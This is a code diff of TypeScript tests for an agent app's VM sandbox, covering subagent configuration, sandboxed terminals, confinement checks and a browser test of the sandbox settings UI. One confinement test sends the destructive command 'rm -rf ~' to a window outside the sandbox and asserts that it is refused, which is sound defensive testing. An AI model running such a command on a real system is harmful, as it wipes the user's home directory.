// Its answer reported and the main agent idle again: inputs sent meanwhile would join the report's turn.
await until(
main.view,
(view) =>
(view?.entries ?? []).some((entry) => entry.kind === "p2.agent-message") &&
!(view?.docs["pi.live"] as { run?: unknown } | undefined)?.run,
60_000,
);
const results = (view: ConversationView | null | undefined) =>
(view?.entries ?? []).flatMap((entry) => entry.model ?? []).filter((message) => message.role === "toolResult");
let serial = 0;
for (const change of [{ followSession: true }, { env: "host", cwd: root }]) {
const configure = JSON.stringify({ action: "configure", name: "boxed", ...change });
// Until its first task is done: a location never changes under a run.
for (;;) {
const before = results(await until(main.view, Boolean)).length;
await main.send(
{ text: `subagent ${configure}`, requestId: `sandbox-configure-${++serial}` },
BACKGROUND_CONTEXT,
);
const view = await until(main.view, (value) => results(value).length > before, 60_000);
const last = output({ ...view, entries: view?.entries.slice(-2) ?? [] } as ConversationView);
if (last.includes("boxed works in sandbox sbx and cannot leave it")) break;
assert.match(last, /is working/);
await new Promise((resolve) => setTimeout(resolve, 500));
}
}
main.release();
// A terminal opens in the VM too.
const terminals = owner.hold(Terminals, { session, view: crypto.randomUUID() }, BACKGROUND_CONTEXT);
const { token } = await terminals.channel({}, BACKGROUND_CONTEXT);
const socket = new WebSocket(`ws://127.0.0.1:${fixture.server.port}/terminal?${new URLSearchParams({ token })}`);
const events: TerminalEvent[] = [];
const screen: Buffer[] = [];
socket.on("message", (bytes, binary) => {
if (binary) screen.push(Buffer.from(bytes as Buffer));
else events.push(JSON.parse(bytes.toString()) as TerminalEvent);
});
socket.on("error", () => {});
try {
await new Promise<void>((resolve, reject) => {
socket.once("open", resolve);
socket.once("error", reject);
});
await terminals.open({ cols: 60, rows: 12, conversation: 1 }, BACKGROUND_CONTEXT);
await poll(() => events.some((event) => event.type === "attached" || event.type === "error"), 60_000);
const attached = events.find((event) => event.type === "attached");
assert(attached?.type === "attached", JSON.stringify(events));
assert.equal(attached.terminal.env, "sbx");
socket.send(Buffer.from("cat /workspace/made.txt; uname -s\r"));
await poll(() => /made[\s\S]*Linux/.test(Buffer.concat(screen).toString("utf8")), 30_000);
await terminals.close({ force: true }, BACKGROUND_CONTEXT);
} finally {
socket.close();
await terminals.restartHost({}, BACKGROUND_CONTEXT).catch(() => {});
terminals.release();
}
},
);

View file

@ -87,10 +87,10 @@ function callApi(taskId: number): ToolExecutionApi {
return api as unknown as ToolExecutionApi;
}
function terminal(backend: TerminalBackend, reach: "codemode" | "tool_search" = "codemode") {
function terminal(backend: TerminalBackend, reach: "codemode" | "tool_search" = "codemode", sandbox?: string) {
const extension = createTerminalExtension(reach, backend, async (api) => {
assert.equal(api.conversationId, 7);
return { cwd: "/work/sub", env: "gpu" };
return { here: { cwd: "/work/sub", env: "gpu" }, ...(sandbox === undefined ? {} : { sandbox }) };
});
return extension.tools![0]!;
}
@ -233,3 +233,34 @@ test("results: the screen of full-screen programs, skipped output, timeouts, win
isError: true,
});
});
test("a caller in a sandbox sees and drives only the session's terminals in it", async () => {
const { backend, calls } = recorder();
const confined = terminal(backend, "codemode", "gpu");
const call = (command: string, args: string[], taskId: number) =>
confined.execute({ command, args }, callApi(taskId), BACKGROUND_CONTEXT);
const listed = await call("list-windows", [], 1);
assert.deepEqual(
(listed.structuredOutput as { windows: { window: number }[] }).windows.map((window) => window.window),
[2],
);
// Window 1 runs on this device (env null), outside the sandbox.
for (const [command, args] of [
["send-keys", ["-t", "1", "rm -rf ~"]],
["read", ["-t", "1"]],
["capture-pane", ["-t", "1"]],
["kill-window", ["-t", "1"]],
] as const) {
const result = await call(command, [...args], 2);
assert.equal(result.isError, true, command);
assert.match((result.output?.[0] as { text: string }).text, /outside sandbox gpu/);
}
assert(!calls.some(([name]) => ["send", "read", "capture", "close"].includes(name)), JSON.stringify(calls));
// A rerun after the conversation was moved into the sandbox: the window its first run remembered is refused too.
const api = callApi(9);
await terminal(backend).execute({ command: "send-keys", args: ["-t", "1", "ls"] }, api, BACKGROUND_CONTEXT);
const sends = calls.filter(([name]) => name === "send").length;
const rerun = await confined.execute({ command: "send-keys", args: ["-t", "1", "ls"] }, api, BACKGROUND_CONTEXT);
assert.equal(rerun.isError, true);
assert.equal(calls.filter(([name]) => name === "send").length, sends);
});

View file

@ -139,6 +139,9 @@ function stubs(calls: Calls, role: "owner" | "guest" = "owner") {
generateKey: () => ({ publicKey: "", identityFile: "" }),
uploadKey: () => ({ publicKey: "", identityFile: "" }),
publicKey: () => null,
sandboxStatus: () => ({ state: "stopped" as const }),
sandboxStart: () => ({ state: "stopped" as const }),
sandboxStop: () => ({ state: "stopped" as const }),
};
},
],

View file

@ -471,6 +471,9 @@ function ownerStubs(calls: Calls) {
uploadKey: () => ({ publicKey: "", identityFile: "" }),
publicKey: () => null,
listDirectory: () => ({ path: "/", parent: null, directories: [], truncated: false }),
sandboxStatus: () => ({ state: "stopped" as const }),
sandboxStart: () => ({ state: "stopped" as const }),
sandboxStop: () => ({ state: "stopped" as const }),
}),
],
[

View file

@ -0,0 +1,155 @@
// Real browser checks of the sandbox UI: the Envs list and sandbox form, the top bar's lock and the confirmation before
// a session moves out of its sandbox. No SSH host is reachable: VM states read as unknown, listings fail.
import assert from "node:assert/strict";
import { after, before, describe, it } from "node:test";
import { BACKGROUND_CONTEXT } from "@p2/app/v1";
import { Envs } from "../../plugins/envs/contract.ts";
import type { EnvConfig } from "../../plugins/envs/schema.ts";
import { Catalog } from "../../plugins/sessions/contract.ts";
import { Browser, browserTests } from "./browser.ts";
import { type Fixture, startFixture } from "./helpers.ts";
const input = (selector: string, value: string) =>
`(()=>{const e=document.querySelector(${JSON.stringify(selector)});Object.getOwnPropertyDescriptor(e.tagName==='TEXTAREA'?HTMLTextAreaElement.prototype:HTMLInputElement.prototype,'value').set.call(e,${JSON.stringify(value)});e.dispatchEvent(new Event('input',{bubbles:true}));})()`;
const button = (text: string) =>
`[...document.querySelectorAll('[role=dialog] button')].find(e => e.textContent.trim() === ${JSON.stringify(text)})`;
describe("sandbox UI", { skip: !browserTests }, () => {
let fixture: Fixture, browser: Browser;
const press = async (text: string) => {
await browser.wait(button(text));
await browser.evaluate(`${button(text)}.click()`);
};
before(async () => {
fixture = await startFixture({ web: true });
const envs = fixture.browser().hold(Envs, {}, BACKGROUND_CONTEXT);
await envs.save({ name: "host1", config: { type: "ssh", host: "unreachable.invalid" } }, BACKGROUND_CONTEXT);
await envs.save(
{
name: "box1",
config: { type: "gondolin", host: "host1", mounts: [{ host: "~/src", guest: "/workspace" }] },
},
BACKGROUND_CONTEXT,
);
envs.release();
browser = await Browser.start();
await browser.metrics(1280, 900);
});
after(async () => {
await browser?.close();
await fixture?.close();
});
it("lists a sandbox under its host and edits its folders and allowed hosts", async () => {
await browser.open(`http://127.0.0.1:${fixture.server.port}/`);
await browser.wait(`document.querySelector('textarea') && !document.querySelector('.offline')`);
await browser.evaluate(`[...document.querySelectorAll('button')].find(e=>e.textContent==='Envs').click()`);
await browser.wait(`document.querySelector('[role=dialog][aria-label=Environments] .env-sandbox svg')`);
const rows = await browser.evaluate<string[]>(
`[...document.querySelectorAll('[role=dialog] .env-group .row-button')].map(e=>e.textContent)`,
);
assert.match(rows[0]!, /^host1/);
assert.match(rows[1]!, /box1.*0 sessions/);
// The host was never tested: nothing says it can run sandboxes, so no "Add sandbox on" row.
assert.equal(rows.length, 2);
// Reading the VM's state fails without the host: unknown, not a blocked list.
await browser.wait(`document.querySelector('.env-sandbox .vm-dot.unknown')`);
await browser.evaluate(`document.querySelector('[role=dialog] .env-sandbox').click()`);
await browser.wait(`document.querySelector('[role=dialog][aria-label=box1] .env-form select')`);
assert.equal(await browser.evaluate<string>(`document.querySelector('.env-form select').value`), "host1");
await browser.wait(`document.querySelector('[role=dialog]').textContent.includes('VM state unknown')`);
assert(
await browser.evaluate<boolean>(
`document.querySelector('.sandbox-folder').textContent.includes('~/src → /workspace')`,
),
);
await press("+ Add folder");
await browser.evaluate(input("input[placeholder='~/project']", "/data"));
await browser.evaluate(input("input[placeholder='/workspace']", "/data"));
await browser.evaluate(`document.querySelector('.sandbox-folders input[type=checkbox]').click()`);
await press("Add folder");
await browser.evaluate(input(".env-form textarea", "github.com\n*.npmjs.org\n"));
await browser.evaluate(input("input[placeholder='2']", "4"));
await browser.evaluate(`document.querySelector('.env-form').requestSubmit()`);
const envs = fixture.browser().hold(Envs, {}, BACKGROUND_CONTEXT);
try {
let config: EnvConfig | undefined;
for (let attempt = 0; attempt < 100; attempt++) {
config = (await envs.list(BACKGROUND_CONTEXT)).find((env) => env.name === "box1")?.config;
if (config?.type === "gondolin" && config.cpus !== undefined) break;
await new Promise((resolve) => setTimeout(resolve, 100));
}
assert.deepEqual(config, {
type: "gondolin",
host: "host1",
mounts: [
{ host: "~/src", guest: "/workspace" },
{ host: "/data", guest: "/data", readonly: true },
],
allowHosts: ["github.com", "*.npmjs.org"],
cpus: 4,
});
} finally {
envs.release();
}
await press("← All environments");
await browser.wait(`document.querySelector('[role=dialog] .env-group > .row-button')`);
await browser.evaluate(`document.querySelector('[role=dialog] .env-group > .row-button').click()`);
await browser.wait(`document.querySelector('[role=dialog]').textContent.includes('Sandboxes on host1')`);
await press("Add sandbox");
await browser.wait(`document.querySelector('[role=dialog][aria-label="New sandbox"] .env-form select')`);
assert.equal(await browser.evaluate<string>(`document.querySelector('.env-form select').value`), "host1");
await browser.evaluate(`document.querySelector('[role=dialog] button[aria-label=Close]').click()`);
});
it("locks a sandboxed session's location and confirms moving it out", async () => {
const session = await fixture.server.host.root(
async (ctx) =>
(await ctx.get(Catalog, {})).create(
{
cwd: "/workspace",
env: "box1",
title: "Sandboxed",
model: { provider: "faux", modelId: "faux-1" },
thinkingLevel: "off",
},
ctx,
),
BACKGROUND_CONTEXT,
);
await browser.open(`http://127.0.0.1:${fixture.server.port}/s/${session.id}`);
await browser.wait(`document.querySelector('.title-cwd .title-lock')`);
await browser.wait(
`[...document.querySelectorAll('.group h3')].some(h=>h.querySelector('.group-lock') && h.textContent.includes('box1:/workspace'))`,
);
await browser.evaluate(`document.querySelector('.title-cwd').click()`);
await browser.wait(`document.querySelector('[role=dialog][aria-label="Working directory"] select')`);
assert.deepEqual(
await browser.evaluate<string[]>(
`[...document.querySelectorAll('[role=dialog] optgroup[label=Sandboxes] option')].map(e=>e.textContent)`,
),
["box1 · sandbox on host1"],
);
assert(
await browser.evaluate<boolean>(
`document.querySelector('[role=dialog]').textContent.includes("run in the box1 VM and can't leave it")`,
),
);
await browser.evaluate(
`(()=>{const s=document.querySelector('[role=dialog] select');Object.getOwnPropertyDescriptor(HTMLSelectElement.prototype,'value').set.call(s,'');s.dispatchEvent(new Event('change',{bubbles:true}));})()`,
);
await browser.wait(`document.querySelector('.directory-use')?.textContent.startsWith('Move session to')`);
await browser.evaluate(`document.querySelector('.directory-use').click()`);
await browser.wait(`document.querySelector('[role=dialog]').textContent.includes('Leave sandbox box1?')`);
assert(
await browser.evaluate<boolean>(
`document.querySelector('.directory-leave').textContent.includes('run directly on this device')`,
),
);
await press("Cancel");
await browser.wait(`document.querySelector('.directory-use') && !document.querySelector('.directory-leave')`);
await browser.evaluate(`document.querySelector('[role=dialog] button[aria-label=Close]').click()`);
});
});